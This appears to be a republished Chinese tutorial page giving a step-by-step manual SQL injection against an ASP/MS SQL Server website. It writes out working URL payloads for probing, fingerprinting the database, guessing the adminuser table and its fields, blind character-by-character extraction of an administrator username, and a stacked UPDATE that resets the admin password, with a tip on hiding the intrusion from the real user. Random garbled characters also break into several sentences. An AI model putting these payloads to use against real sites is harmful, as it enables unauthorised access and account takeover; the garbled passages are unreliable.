注入攻击MS SQL Server示例

2025-05-24 15:21:03

1、要注入的网站如图6-1所示,由于只是为了介绍注入网站的方法,并未实质入侵该网站,同时也是为了对该网站保密,因此在后面的截图中隐藏了该网站的相关信息。图6-1显示的是要被注入网站的首页,将鼠标放在“我院召开‘平安奥运’工作部署会”上,在状态栏显示其URL是http://www.xxx.com.cn/detail.asp?productid=392。看到URL中有类似“detail.asp?productid”这样的信息,就可以猜测该网站是否存在注入漏洞了。第1步:加单引号。如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

注入攻击MS SQL Server示例

2、第1步:加单引号。如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

注入攻击MS SQL Server示例

3、第2步:测试“and 1=1”。如图6.3所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。

注入攻击MS SQL Server示例

4、第3步:测试“and 1=2”。如图6.4所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示。

注入攻击MS SQL Server示例

5、第4步:判断数据库类型。如图6.5所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and user>0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库。

注入攻击MS SQL Server示例

6、如果是SQL Server数据库,那么拉悟有仍该网址显示的页面与“www.xxx.com.cn/detail.asp患修校楷?productid=392”是一样的,如图6.6所示。使用下面的语句:http://www.xxx.com.cn/detail.asp?productid=392 and(select count(*) from msysobjects)>0如果是SQL Server数据库,由于找不到表msysobjects,服务器会返回错误提示“对象名'msysobjects'无效。”,如图6.7所示,如果Web程序有容错能力,那么服务器返回页面也与原页面不同。使用下面的语句:http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from msysobjects)>0,如图6.8所示,服务器会返回错误提示“不能读取记录;在'msysobjects'上没有读取数据权限。”,说明是SQL Server数据库。使用下面的语句:http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from sysobjects)>0,如图6.9所示,服务器会返回错误提示。第5步:猜测表名。图6.8和图6.9是基于www.xxx.ah.edu.cn网站进行的测试。如图6.10所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadmin)>=0”,按Enter键后,服务器返回错误提示,说明不存在“admin”表。

注入攻击MS SQL Server示例

7、继续猜测表名,如图6.11所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。注意,猜测表名时也可以使用如下形式:http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from admin)http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from adminuser)第6步:猜测字段名(用户名和密码字段)。猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。如图6.12所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and exists (select count(name)from adminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。

注入攻击MS SQL Server示例

8、继续猜测用户名字段名,如图6.13所示,在http://www.xxx.com.罕铞泱殳cn/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)>=0”,返回正常页面,说明存在“admin_name”用户名字段名,猜测成功。然后猜测密码字段名:假设http://www.xxx.com.cn/detail.asp?productid=392and (select count(admin_pwd) from adminuser)>=0返回正常页面,则密码字段猜测成功,密码字段名是“admin_pwd”。第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。首先,猜测用户名的长度。如图6.14所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>11”,含义是取第一条记录,测试用户名长度,按Enter键后,返回正常页面,说明用户名的长度大于11。

注入攻击MS SQL Server示例

9、继续猜测用户名长度,如图6.15所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。

注入攻击MS SQL Server示例

10、得到admin_name的长度以后,用unicode(substring(admin_name,N, 1))获得第N位字符的ASCII码,比如:(1)猜测第1个字符。如图6.16所示,从productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>121显示正常;如图6.17所示,productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>122显示不正常,得第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。

注入攻击MS SQL Server示例

11、(2)猜测第2个字腿发滏呸符。从productid=392and (select top 1 unicode(substring(admin_name, 2, 1)) from ad罪焐芡拂minuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>103显示正常;productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>104显示不正常,得第2个字符是“h”(查ASCII码字符表,字符h的十进制编码是104)。(3)猜测第3个字符。从productid=392and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>110显示正常;productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>111显示不正常,得第3个字符是“o”(查ASCII码字符表,字符o的十进制编码是111)。按照上述步骤猜测第4~12个字符,最终得到用户名是“zhoushanshan”。第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即http://www.xxx.com.cn/detail.asp?productid=392;update adminuser set admin_pwd =' a0b923820dcc509a'where admin_name='zhoushanshan';--“a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。

声明:本网站引用、摘录或转载内容仅供网站访问者交流或参考,不代表本站立场,如存在版权或非法内容,请联系站长删除,联系邮箱:site.kefu@qq.com。
猜你喜欢